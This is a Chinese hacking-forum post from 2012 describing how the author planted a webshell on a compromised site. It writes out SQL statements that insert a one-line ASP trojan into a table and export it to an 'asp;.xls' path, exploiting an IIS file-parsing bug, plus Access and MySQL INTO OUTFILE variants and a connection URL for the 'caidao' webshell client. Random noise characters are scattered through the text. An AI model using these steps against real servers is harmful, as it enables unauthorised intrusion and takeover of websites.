好不容易进了后台，发现啥上传啊。备份啊多木有。
9 A* K. h0 U0 P3 Vwebshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的5 X% Y& e5 c; f+ h* K5 ^4 g, `- A
文件。可后台没显示这功能。直接填上文件名字，执行命令的选项出来了，
8 b5 t3 N# M M3 t9 `- `; z, e然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下：
5 W; G8 ?6 ?# i1.create table cmd (a varchar(50))6 X- w1 N5 g9 ?7 D
2.insert into cmd (a) values (‘‘)
+ ?* e2 ]9 M6 d2 a H' ?% B3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
/ ?) U# \' r! n; Q0 Y) \7 n. N(把表cmd的内容导出为物理路径的一个EXCEL文件)
3 Y3 A3 u9 K; Z8 J# |4.drop table cmd
$ H" K) p# H( V) f# ~! V利用IIS的BUG成功拿到了WEBSHELL。
, ~: Q8 V- j- G
; \6 C# w( A8 v, ?- [5 B0 |直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话3 s% a z. E7 S4 F: f. U& L4 }5 ]
! x# d, Q$ N. y
SQL语句意思解释：
% b" D# t9 J6 H2 J5 w) I+ ~ 第一句: r/ Y( R; a# V+ }, n6 ?
建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
2 L" w( ]' U8 h1 f: W+ m! l. K! i6 W2 O& A2 @1 ^
第二句/ ^+ R- _$ b2 i8 x( U) S
在表cmd的a字段插入一句话木马" W+ p& x- O- F9 f6 r9 O* H
第三句8 x) K8 J* L n* O: H- c% F, u
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件. F7 I. c( ]& x1 Z) _. b. `
4 v4 R, E2 C& j8 a 第四句
5 {" s/ |" F' {. F5 F! b 删除建立的cmd表
; \% }" z! ~, Q" B
, U+ x) J$ J* u5 W! y. D+ f ? 以下内容为测试：
* I9 T- b& f: Z Access利用后台SQL执行命令功能导出WebShell:7 Q z$ O3 s8 z5 D6 I
这个更简单：$ d/ Y6 V4 h9 k! y7 l0 d
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
) X' g( i. c, |) i/ l 或者4 e L/ c7 h) p- |
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
- w( v& p9 ]6 K, y; P
# K; u* k5 M i9 b 后台有执行SQL语句功能(vote为已知表段)
7 t. W; z4 s) h7 v& j' g 希望对大家有所帮助拿shell的又一个思路/ h& Y" q, @. J7 o# } {
|
发表于 2012-9-13 17:53:58
收藏
支持
反对